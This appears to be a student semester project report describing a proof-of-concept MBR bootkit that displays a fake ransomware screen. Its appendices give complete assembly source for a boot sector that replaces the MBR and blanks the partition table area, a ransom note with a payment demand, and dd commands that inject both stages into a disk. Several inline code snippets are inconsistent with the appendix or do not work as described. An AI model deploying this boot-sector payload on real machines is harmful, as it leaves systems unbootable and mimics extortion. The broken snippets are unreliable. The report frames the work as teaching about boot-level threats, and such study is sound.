**Semester Project**

**Computer Organization and Assembly Language**

******

**Project Title**

**Bootkit Development: MBR Infection & Ransomware Simulation**

**Submitted to: Ma’am Ayesha**

**Group Members:**

**Muhammad Azfar Waqas (UW-23-CY-BS-013)**

**Ibrar Ul Hassan Shami (UW-23-CY-BS-018)**

**Saad Ali (UW-23-CY-BS-050)**

**Table of Contents**

[**Introduction 3**](#_Toc200905814)

[**Scope and Objectives: 3**](#_Toc200905815)

[**Features 4**](#_Toc200905816)

[**Technical Background 4**](#_Toc200905817)

[**System Architecture 6**](#_Toc200905818)

[**Implementation 7**](#_Toc200905819)

[**Tools and Techniques 11**](#_Toc200905820)

[**Deployment Workflow 12**](#_Toc200905821)

[**Testing & Results 13**](#_Toc200905822)

[**Security Analysis 14**](#_Toc200905823)

[**Ethical Considerations 16**](#_Toc200905824)

[**Conclusion 17**](#_Toc200905825)

[**References 17**](#_Toc200905826)

[**Appendices 18**](#_Toc200905827)

**Abstract**  
This project demonstrates a proof-of-concept ransomware bootkit built in 16-bit x86 Assembly. The goal is to simulate how a custom bootkit can infect the Master Boot Record (MBR) and present a ransomware-style user interface (UI) on system boot, without causing real harm. We implement a two-stage bootloader: Stage1 (the 512-byte MBR) displays a deceptive “system compromised” message and then loads Stage2 (a larger payload in the disk image). Stage2 enters Real Mode, draws a ransom note screen using BIOS video interrupts, reads a user-entered decryption key (via BIOS keyboard interrupts), and halts execution when the correct key is provided. This safe, educational simulation shows how bootkits work at the BIOS level and highlights protective measures. All code runs in a virtual machine; no actual encryption or disk damage occurs.

# Introduction

A bootkit is a type of malware that infects a computer’s boot sequence (e.g. the MBR or firmware) in order to gain control before the operating system loads. By running at such a low level, bootkits can hide from traditional antivirus and persist through OS reinstallation. They are often used in targeted attacks for espionage or privilege escalation. For example, advanced persistent threat actors have deployed UEFI/BIOS bootkits (e.g. MoonBounce) to spy on victims at the firmware level. In mass attacks, legacy Windows MBR bootkits like Rovnix have been spread via phishing campaigns.

This project simulates a ransomware-style bootkit: rather than encrypt files, it simply displays a ransom UI on boot, requiring a correct “password” to continue.

The purpose here is strictly educational. We emphasize that this is a safe, controlled simulation (e.g., in a VM) and no real data is harmed or encrypted. By implementing a toy bootkit, students can learn about BIOS initialization, real-mode x86 programming, and disk I/O. All actions (MBR overwrite, UI display, user input) are done in a disposable test environment. The goal is to illustrate how a bootkit could work, not to provide a tool for malicious use. Appropriate disclaimers and safeguards (e.g. testing only on virtual disk images) are in place.

Scope and Objectives:  
The project delivers a documented proof-of-concept in x86 assembly, with the MBR modified to run Stage1 code, which then loads and runs Stage2. The outcome is a custom “ransom note” screen on boot that asks for a key. Key objectives include understanding the BIOS boot process, MBR layout, two-stage bootloader design, BIOS interrupts (video and keyboard), and virtualization deployment. We also analyze why real bootkits can survive OS reinstall and how modern systems mitigate them.

# Features

* Simulated ransomware UI without causing real damage
* Bootkit runs entirely in real-mode x86 assembly
* Two-stage bootloader architecture (Stage1 MBR + Stage2 payload)
* BIOS interrupt-based control for screen, keyboard, and disk
* Fake unlock mechanism requiring password input
* Safe execution inside virtual machine (no actual file encryption)

# Technical Background

**BIOS Boot Process Overview**

When a PC powers on, it begins in real mode (16-bit) and runs the BIOS firmware. The BIOS performs the Power-On Self Test (POST) to initialize hardware (RAM, CPU registers, basic I/O) and to display any early messages. After POST, the BIOS determines the boot device order (e.g., floppy, HDD, CD, USB) and selects the first available boot disk. It then reads the first sector (512 bytes) from that boot device into memory (at physical address 0x0000:0x7C00) and transfers execution there. This first sector is the Master Boot Record (MBR) on partitioned disks. The BIOS interrupt used is INT 0x13 (disk services) to load these sectors; function AH=02h reads sectors via CHS or LBA addressing. Once the 512-byte MBR is in memory, the BIOS jumps to 0x7C00 to run it.

**Master Boot Record Layout**  
The MBR (first sector, LBA 0) is 512 bytes long. Its structure is:

1. Bootstrap code area (first 440 bytes)
2. Partition table (four 16-byte entries, total 64 bytes)
3. Boot signature (2 bytes, 0x55AA)

The BIOS does not examine the partition table; it simply executes the code in the MBR. Usually that code (called the Stage1 bootloader) identifies a “bootable” partition (via the active flag in the partition table) and then loads the first sector of that partition (the Volume Boot Record) or directly loads further boot code. Since 440 bytes is extremely limited, most real bootloaders use the MBR code only to load a larger second-stage from disk. For example, GRUB uses the 440-byte MBR to chainload a Stage 1.5 (in the space after the MBR) or directly load Stage2 from a filesystem.

**x86 Real Mode and BIOS Interrupts**

On reset, x86 CPUs begin in Real Mode, a backward-compatible 16-bit mode with a 20-bit segmented address space (1 MiB maximum) and no memory protection. All legacy BIOS code and DOS-era bootloader code run in real mode. BIOS services are invoked via software interrupts (INT instructions). For example, INT 0x10 provides video services and INT 0x13 provides disk I/O.

In our bootkit, Stage1 uses INT 0x13 to read disk sectors, and both stages use INT 0x10 and INT 0x16 for screen output and keyboard input, respectively. In real mode, data and code segments must be explicitly set (e.g., push cs; pop ds) so string pointers work correctly.

**Bootloader Execution Flow**

Once the BIOS jumps to the MBR code, that code (Stage1) runs at 0x7C00 in real mode. It typically sets up segment registers and then may display something to the screen or perform other logic. In our simulation, Stage1 prints a fake “SYSTEM COMPROMISED” message and a prompt (using BIOS video interrupt INT 0x10), and then prepares to load the next stage. To load Stage2, Stage1 uses INT 0x13h function 02h (read sectors) to read specific LBAs (e.g., sectors 2–5) into memory. After loading Stage2, Stage1 transfers control by far-jumping to the loaded code.

Stage2 (now running in real mode as well) prints a ransom note UI, waits for the user to type the decryption key, and halts on success.

**Key BIOS Interrupts Used:**

* **INT 0x10 (Video):** We use the teletype function (AH=0x0E) to print characters to the screen.  
  Example:

mov ah, 0x0E

mov al, [msg+si]

int 0x10

* **INT 0x16 (Keyboard):** AH=0x00 reads a keystroke, returning ASCII in AL and scan code in AH.  
  Example:

mov ah, 0x00

int 0x16

* **INT 0x13 (Disk):** AH=0x02 reads disk sectors using CHS. Set AX=0x0201, CX/DX for cylinder/sector/head, and ES:BX as the buffer.

By chaining these BIOS interrupts in real mode, we implement a compact bootkit in x86 assembly.

# System Architecture

Our bootkit uses a two-stage bootloader design. Stage1 resides in the Master Boot Record (LBA 0). It is 512 bytes total, with only ~440 bytes available for code. Its job is to display the initial message and load Stage2 into memory. Stage2 is a larger sector-based payload stored immediately after the MBR in the disk image (for example, at LBAs 2–5). Stage2 contains the bulk of the “ransomware UI” logic.

**System Architecture Overview:**

* **BIOS**: Executes POST, then uses INT 13h to read LBA 0 into memory.
* **Stage1 (MBR code)**: Loaded at physical 0x7C00. Initializes segment registers, prints a fake warning via INT 0x10, reads Stage2 sectors via INT 0x13h, and jumps to it.
* **Stage2 (second-stage loader)**: Now in memory (e.g., at 0x0000:0x0500). It draws a ransom note screen using INT 0x10 loops, then waits for user input via INT 0x16. If the correct “password” is entered, it halts using cli; hlt. Otherwise, it loops indefinitely or halts.

**Disk Layout Illustration:**

* Sector 0: MBR (Stage1)
* Sector 1: Gap (unused or reserved)
* Sectors 2–5: Stage2 code

In a simple test image, we can ignore actual partitions and simply hardcode Stage2's location. In a real scenario, Stage1 might parse the partition table to find Stage2.

**Stage1 and Stage2 Roles**

* **Stage1 (MBR, LBA 0)**: Limited to ~440 bytes of code. Tasks:
  + Show a fake "SYSTEM COMPROMISED" message
  + Load Stage2 from sectors 2–5 using INT 0x13
  + Jump to Stage2’s memory location (e.g., jmp 0x0000:0x0500)
  + Write boot signature (0xAA55) at end of the sector
* **Stage2 (Sectors 2–5)**:
  + Clears screen using BIOS interrupt
  + Draws a ransom UI with ASCII graphics and prompt like "ENTER KEY:"
  + Waits for key input with INT 0x16
  + Compares input to the correct key (e.g., “COAL”)
  + If correct: prints “UNLOCKED” and halts
  + If incorrect: loops or halts to simulate lockout

Stage1 and Stage2 are tightly integrated: Stage1 knows exactly where to find Stage2 because its disk sector address is hardcoded. In real bootkits, Stage2 may be hidden elsewhere and located dynamically.

# Implementation

This section explains how we implemented the two-stage bootkit in x86 assembly, covering screen output, disk reads, and keyboard input. Code snippets are included for clarity. Full versions are in the Appendices.

**Stage1 Code (MBR)**

Stage1 is limited to 512 bytes. We begin with:

ORG 0x7C00 ; Code loads at 0x0000:0x7C00

start:

cli ; Disable interrupts

xor ax, ax

mov ds, ax

mov es, ax

mov ss, ax

mov sp, 0x7BFF ; Setup stack

push cs

pop ds ; DS = CS

**Print Message:**  
We define a string:  
msg db '\* SYSTEM COMPROMISED \*', 0  
Then loop through it with:

mov si, msg

print\_loop:

lodsb

or al, al

jz done\_msg

mov ah, 0x0E

int 0x10

jmp print\_loop

done\_msg:

This uses INT 0x10 teletype output to print each character.

**Optional Delay:**

mov cx, 0xFFFF

delay\_loop:

nop

dec cx

jnz delay\_loop

This creates a small pause so the message is visible.

**Load Stage2:**

mov ah, 0x02 ; Function: Read sectors

mov al, 4 ; Number of sectors

mov ch, 0

mov cl, 2 ; Start at sector 2

mov dh, 0

mov dl, 0x80 ; First HDD

mov bx, 0x0500 ; Offset

xor es, es

int 0x13

This reads 4 sectors into 0x0000:0x0500.

**Jump to Stage2:**

jmp 0x0000:0x0500

**Boot Signature:**

times 510-($-$$) db 0

dw 0xAA55

**Stage2 Code (Ransom UI)**

Stage2 runs at 0x0000:0x0500. It clears the screen, draws UI, and handles keyboard input.

**Clear Screen:**

mov ah, 0x06

mov al, 0

mov bh, 0

mov cx, 0

mov dx, 0x184F

int 0x10

**Print Banner:**

We define multiple strings like:

title\_line1 db '=== YOUR FILES ARE ENCRYPTED ===', 0

prompt\_line db 'ENTER KEY: ', 0

And call:

print\_string:

lodsb

or al, al

jz .done

mov ah, 0x0E

int 0x10

jmp print\_string

.done:

ret

**Read and Validate Input:**

read\_key:

mov ah, 0x00

int 0x16

cmp al, 0x0D

je check\_key

mov ah, 0x0E

int 0x10

jmp read\_key

check\_key:

; Assume last typed string is in registers

cmp bl, 'L'

jne wrong\_key

cmp bh, 'A'

jne wrong\_key

cmp ch, 'O'

jne wrong\_key

cmp dh, 'C'

jne wrong\_key

correct\_key:

mov si, unlocked\_msg

call print\_string

cli

hlt

wrong\_key:

cli

hlt

If the user enters “COAL”, the screen prints “UNLOCKED” and halts. Otherwise, it halts silently.

# Tools and Techniques

* **NASM** (Netwide Assembler) – for compiling raw 16-bit assembly code
* **VirtualBox** – used to emulate a BIOS-based virtual machine
* **dd (Unix utility)** – for writing binaries to disk images
* **VBoxManage** – to convert raw disk image to VirtualBox VDI format
* **BIOS interrupts (INT 0x10, 0x13, 0x16)** – for I/O, screen display, keyboard, and disk access
* **x86 Assembly (Real Mode)** – for low-level control and bootloader behavior
* **Hex and ASCII** string management to simulate a visual ransom prompt

# Deployment Workflow

To test the bootkit safely, we created a bootable virtual disk image and ran it inside a virtual machine.

**1. Assemble Stage1 and Stage2**

We used NASM to compile the assembly code into raw binary files:

**nasm -f bin stage1.asm -o stage1.bin**

**nasm -f bin stage2.asm -o stage2.bin**

* stage1.bin is the 512-byte MBR (Stage1)
* stage2.bin is ~2048 bytes containing the ransomware UI (Stage2)

**2. Create a Raw Disk Image**

We created a .raw image to serve as our virtual hard disk:

**VBoxManage clonehd "Path/Windows 7.vdi" "Path\disk.raw" --format RAW**

**3. Inject Stage1 into the MBR**

We wrote Stage1 to the first sector (LBA 0):

**dd if=stage1.bin of=disk.raw bs=512 count=1 conv=notrunc**

conv=notrunc ensures the rest of the file isn't erased.

**4. Inject Stage2 into Sectors 2–5**

We placed Stage2 starting at sector 2 (offset 1024 bytes):

**dd if=stage2.bin of=disk.raw bs=512 seek=2 conv=notrunc**

Sector 1 remains unused or reserved.

**5. Convert to VDI (VirtualBox Disk Format)**

VirtualBox does not boot raw .img files directly. We converted it:

**VBoxManage convertfromraw disk..raw bootdisk.vdi --format VDI**

This created bootdisk.vdi, a virtual disk suitable for VirtualBox.

**6. Configure the Virtual Machine**

In VirtualBox:

* Create a new VM (e.g., "Bootkit-Test")
* Enable BIOS/Legacy boot (not UEFI)
* Attach bootdisk.vdi as the primary hard disk

**7. Boot and Observe**

Start the VM. If successful:

* Stage1 displays a “SYSTEM COMPROMISED” message
* Stage2 shows a ransom-style screen with an “ENTER KEY:” prompt
* Typing the correct key (e.g., “COAL”) prints “UNLOCKED” and halts

No operating system loads. No files are encrypted. Everything runs within the VM and can be reset by replacing the disk image.

# Testing & Results

We validated our bootkit through controlled tests in VirtualBox using the custom VDI disk.

**Test 1 – Boot Sequence Display**

* Result: When powered on, the VM executes Stage1.
* On-screen output:  
  \* SYSTEM COMPROMISED \*
* Observation: This confirms that BIOS loaded and executed the MBR code from LBA 0 at 0x7C00.

**Test 2 – Stage2 Loading and Execution**

* After Stage1 runs, it uses BIOS interrupt 13h to load Stage2 (from sectors 2–5) into memory.
* Observation: Control transfers to Stage2, which clears the screen and displays the fake ransomware UI with the ASCII header.
* Screen shows something like:

=== YOUR FILES ARE ENCRYPTED ===

PAY 1 BTC TO 1FAKEADDRESS

ENTER KEY:

**Test 3 – Key Entry Handling**

* Input: We typed the correct key “COAL” followed by Enter.
* Result: The screen prints:  
  UNLOCKED  
  and then halts (using cli and hlt instructions).
* Input (wrong): We typed any incorrect string (e.g., “TEST”).
* Result: The system halts immediately or loops forever (depending on build), simulating a locked system.

**Test 4 – Error Handling / Sector Skipping**

* We intentionally skipped writing Stage2 (omitted the dd write).
* Result: Stage1 attempts to read sectors into memory but jumps to uninitialized code.
* Observation: The VM either crashes or displays junk characters.

This validates the link between Stage1 and Stage2: the MBR code must successfully load and jump to the second-stage binary.

# Security Analysis

This project highlights how vulnerable legacy BIOS systems and MBR-based boot sequences can be. Although our bootkit is a benign simulation, it mirrors real-world techniques used by malicious bootkits and ransomware.

**1. Persistence Through OS Reinstallation**

Bootkits, especially MBR-based ones, operate below the operating system. Since the MBR is not always overwritten during OS reinstallations (especially if the installer does not repartition the disk), a bootkit can survive and continue executing on every boot. Our Stage1 code executes even when no OS is present.

**Mitigation:** Modern OS installers now often rewrite the MBR or replace it entirely when formatting, but legacy tools and partial reinstalls may miss it.

**2. Antivirus and OS Limitations**

Because bootkits execute before the OS is loaded, they evade traditional antivirus software, which operates at the application level or within the OS kernel. Our code, for example, never touches the filesystem or any running services—it's below the radar.

**Mitigation:** Secure Boot and UEFI firmware check the integrity of bootloaders and can block unsigned or altered MBRs. TPM chips can also measure boot integrity.

**3. BIOS-Level Control and Lack of Access Control**

MBR code runs with full control over CPU, RAM, and I/O. There's no permission checking at this level. Any assembly code written to LBA 0 will be executed by the BIOS.

**Mitigation:** BIOS/UEFI settings often include "Secure Boot" or "Boot Sector Protection." Enabling these options helps prevent unauthorized writes to the MBR or unauthorized bootloaders from running.

**4. Modern Protections**

Most modern systems use UEFI bootloaders rather than BIOS + MBR. These UEFI systems verify digital signatures before booting and store boot code in non-writable firmware partitions.

**Our simulation does not work on UEFI unless legacy boot is enabled.** This highlights how legacy compatibility can still introduce vulnerabilities.

**5. Educational Value**

Understanding how these attacks work at the hardware and firmware level is essential for cybersecurity professionals. While real ransomware encrypts files, our simulation achieves similar psychological impact (i.e., lock screen and demand) without causing harm.

By writing this bootkit manually, we demonstrate how even a small, low-level binary (just a few KB) can control a system's boot behavior.

# Ethical Considerations

Developing and testing malware, even for educational purposes, requires careful attention to ethical boundaries and responsible disclosure. This project was conducted strictly as a controlled academic simulation, with the following safeguards in place:

**1. No Real Encryption or File Destruction**

Unlike real ransomware, this project does not encrypt files, modify partitions, or destroy any data. The ransom screen is purely cosmetic, with a hardcoded “password” and no persistence or encryption functionality.

**2. Testing in Virtual Machines Only**

All tests were run inside disposable VirtualBox VMs using manually created virtual disks. No code was executed on physical machines, production systems, or shared hardware. This eliminates risk to personal or institutional data.

**3. Code Disclosure for Learning, Not Abuse**

While the code is included in the appendices, it is basic and clearly labeled as educational. It lacks obfuscation, persistence, polymorphism, or other malicious characteristics that real bootkits employ. We have taken care not to promote misuse or deploy this beyond controlled environments.

**4. Legal Implications and Licensing**

Unauthorized deployment of bootkits or low-level firmware code is illegal under most computer crime laws. Even overwriting the MBR on someone’s computer without permission constitutes tampering. Students are reminded that these experiments must remain academic and should never be used outside sanctioned lab settings.

**5. Cybersecurity Education Justification**

Understanding how bootkits and firmware-based threats operate is essential for developing effective defenses. This simulation helps students and professionals understand bootloader-level attack surfaces, BIOS interrupt abuse, and persistence techniques. It also reinforces the importance of using Secure Boot, UEFI protections, and disk integrity monitoring.

This project was conducted under the principle of "do no harm" and serves purely to strengthen knowledge and awareness of pre-OS level threats.

# Conclusion

This project successfully demonstrates a simulated bootkit capable of mimicking ransomware behavior by modifying the Master Boot Record and loading a second-stage payload. Implemented entirely in x86 real-mode assembly, the bootkit showcases how BIOS interrupts and direct disk access can be used to alter the system boot flow.

The proof-of-concept uses a two-stage bootloader design: Stage1 fits within the 512-byte MBR limit and loads Stage2 from disk. Stage2 then presents a fake ransomware screen using BIOS video interrupts, waits for a user-entered decryption key, and halts based on user input.

All testing was done inside virtual machines using raw disk images converted to VDI format for VirtualBox. No real file encryption or damage occurs, making this a safe and effective teaching tool. In doing so, we gain a deeper appreciation for how low-level threats operate and why modern protections like UEFI, Secure Boot, and boot sector protection are essential.

This bootkit simulation reinforces key lessons in x86 architecture, BIOS behavior, MBR structure, and secure system design.

# References

1. Intel Developer Manual Volume 1 – Basic Architecture
2. Intel 16-bit Real Mode Interrupts Reference
3. BIOS Boot Process Explained – OSDev Wiki
4. VirtualBox User Manual – Disk Management and VDI Format
5. “Secure Boot and UEFI Fundamentals,” Microsoft Docs
6. “Analyzing Bootkits and MBR Malware” – Symantec Security Response
7. GitHub Projects: Legacy Bootloaders in Assembly (educational repositories)
8. MITRE ATT&CK – Bootkit and Firmware-Level Techniques
9. Malware Unicorn – Reverse Engineering Bootloaders (Training Slides)

Appendices

* **Appendix A: Full Stage1 Assembly Code (MBR)**

[org 0x7C00]

[bits 16]

start:

cli

xor ax, ax

mov ds, ax

mov es, ax *; Important: set ES segment!*

mov ss, ax

mov sp, 0x7C00

sti

mov [boot\_drive], dl

*; Display* "MBR INFECTED" *message*

mov si, msg

call print\_str

*; Delay for approximately 5 seconds*

mov cx, 5 *; 5 seconds*

.delay\_seconds:

push cx

mov cx, 0xFFFF *; Inner loop count*

.delay\_loop:

nop

loop .delay\_loop

pop cx

loop .delay\_seconds

*; Load Stage2 from LBA 2 (4 sectors = 2KB)*

mov ah, 0x02

mov al, 4

mov ch, 0

mov cl, 3

mov dh, 0

mov dl, [boot\_drive]

mov bx, 0x8000

int 0x13

jc error

jmp 0:0x8000

error:

mov si, err\_msg

call print\_str

hlt

print\_str:

lodsb

test al, al

jz .done

mov ah, 0x0E

int 0x10

jmp print\_str

.done:

ret

msg db "MBR: INFECTED!", 0

err\_msg db "STG1 ERR!", 0

boot\_drive db 0

times 510 - ($-$$) db 0

dw 0xAA55

* **Appendix B: Full Stage2 Assembly Code (Ransomware UI)**

[org 0x8000]

[bits 16]

start:

cli

xor ax, ax

mov es, ax

mov ss, ax

mov sp, 0x7E00

sti

mov [boot\_drive], dl

mov ax, cs

mov ds, ax

cld

*; Set video mode*

mov ax, 0x0003

int 0x10

*; Clear screen by scrolling*

mov ax, 0x0600 *; AH=06 (scroll), AL=00 (full screen)*

mov bh, 0x07 *; White on black*

xor cx, cx *; CH=0, CL=0 (top-left)*

mov dx, 0x184F *; DH=24, DL=79 (bottom-right)*

int 0x10

*; Display title with warning symbols*

mov bh, 0

mov dh, 1

mov dl, 0

call move\_cursor

mov si, warning

call print\_str

mov si, title

call print\_str

mov si, warning

call print\_str

*; Display organization message*

mov dh, 3

mov dl, 0

call move\_cursor

mov si, lock\_msg1

call print\_str

*; Display payment instructions*

mov dh, 5

mov dl, 0

call move\_cursor

mov si, lock\_msg2

call print\_str

mov dh, 6

mov dl, 0

call move\_cursor

mov si, lock\_msg3

call print\_str

mov dh, 7

mov dl, 0

call move\_cursor

mov si, lock\_msg4

call print\_str

*; Draw input field*

mov dh, 10

mov dl, 0

call move\_cursor

mov si, prompt

call print\_str

mov dh, 11

mov dl, 0

call move\_cursor

mov si, input\_field

call print\_str

*; Position cursor at input start position*

mov dh, 11

mov dl, 6 *; Start input after* "Key: "

call move\_cursor

*; Clear input buffer*

mov byte [input\_index], 0

call clear\_input\_buffer

*; Input handling loop*

input\_loop:

xor ah, ah

int 0x16 *; Wait for key press*

*; Check Enter*

cmp ah, 0x1C

je check\_input

*; Backspace handling*

cmp ah, 0x0E

je backspace

*; FIXED: Proper A-Z/a-z validation*

cmp al, 'A'

jb input\_loop *; Below* 'A'*? Ignore*

cmp al, 'Z'

jbe valid\_char *; A-Z? Valid*

cmp al, 'a'

jb input\_loop *; Between Z and a? Ignore*

cmp al, 'z'

ja input\_loop *; Above* 'z'*? Ignore*

*; Otherwise it's a-z - fall through to valid\_char*

valid\_char:

*; Convert to uppercase*

and al, 0xDF

*; Store character in buffer*

movzx bx, byte [input\_index]

mov [input\_buffer + bx], al

*; Print character*

mov ah, 0x0E

int 0x10

*; Increment index*

inc byte [input\_index]

cmp byte [input\_index], 4

jb input\_loop

jmp check\_input

backspace:

cmp byte [input\_index], 0

je input\_loop

dec byte [input\_index]

*; Erase char on screen*

mov ah, 0x0E

mov al, 8 *; Backspace*

int 0x10

mov al, '\_' *; Replace with underscore*

int 0x10

mov al, 8 *; Backspace again*

int 0x10

jmp input\_loop

check\_input:

*; Verify length*

cmp byte [input\_index], 4

jne wrong\_key

*; Check key*

mov cx, 4

mov si, input\_buffer

mov di, secret\_key

repe cmpsb

jne wrong\_key

jmp unlock

wrong\_key:

*; Show error*

mov dh, 13

mov dl, 0

call move\_cursor

mov si, error\_msg

call print\_str

*; Reset input*

mov byte [input\_index], 0

call clear\_input\_buffer

*; Redraw input field*

mov dh, 11

mov dl, 0

call move\_cursor

mov si, input\_field

call print\_str

mov dh, 11

mov dl, 6 *; Position cursor at input start*

call move\_cursor

*; Delay*

mov cx, 0x7FFF

.delay:

nop

loop .delay

*; Clear error*

mov dh, 13

mov dl, 0

call move\_cursor

mov si, clear\_error

call print\_str

mov dh, 11

mov dl, 6 *; Position cursor at input start*

call move\_cursor

jmp input\_loop

unlock:

*; Display final messages*

mov dh, 15

mov dl, 0

call move\_cursor

mov si, suck\_msg1

call print\_str

mov dh, 16

mov dl, 0

call move\_cursor

mov si, suck\_msg2

call print\_str

*; Halt the system*

hlt

*; Utilities*

move\_cursor:

mov ah, 0x02

mov bh, 0

int 0x10

ret

print\_str:

lodsb

test al, al

jz .done

mov ah, 0x0E

int 0x10

jmp print\_str

.done:

ret

clear\_input\_buffer:

mov cx, 5

mov di, input\_buffer

xor al, al

rep stosb

ret

*; Data*

warning db "!!! ", 0

title db "CRITICAL SYSTEM ENCRYPTION ALERT", 0

lock\_msg1 db "The Organization has Attacked and there is no Escaping", 0

lock\_msg2 db "Your system has been encrypted with military-grade ransomware.", 0

lock\_msg3 db "To restore access, pay $100,000 USD in Monero (XMR) to:", 0

lock\_msg4 db "Wallet: 8A9bC3dE4FgH5iJ6kL7mN8oP9qR0sT1uV2wX3yZ4aB5cD6eF7gH8i", 0

prompt db "Enter decryption key:", 0

input\_field db "Key: \_\_\_\_", 0

error\_msg db "ERROR: Invalid decryption key. Access denied.", 0

clear\_error db " ", 0

suck\_msg1 db "TERMINAL LOCK ACTIVATED. SYSTEM PERMANENTLY DISABLED.", 0

suck\_msg2 db "YOU SUCK! - The Organization", 0

secret\_key db "COAL"

boot\_drive db 0

input\_index db 0

input\_buffer times 5 db 0

times 2048 - ($ - $$) db 0

* **Appendix C: Command-line Steps for Building & Testing**

# Assemble the code

**nasm -f bin stage1.asm -o stage1.bin**

**nasm -f bin stage2.asm -o stage2.bin**

# Create disk image

**VBoxManage clonehd "Path/Windows 7.vdi" "Path\disk.raw" --format RAW**

# Write MBR

**dd if=stage1.bin of=disk.raw bs=512 count=1 conv=notrunc**

# Write Stage2

**dd if=stage2.bin of=disk.raw bs=512 seek=2 conv=notrunc**

# Convert to VDI for VirtualBox

**VBoxManage convertfromraw disk.raw bootdisk.vdi --format VDI**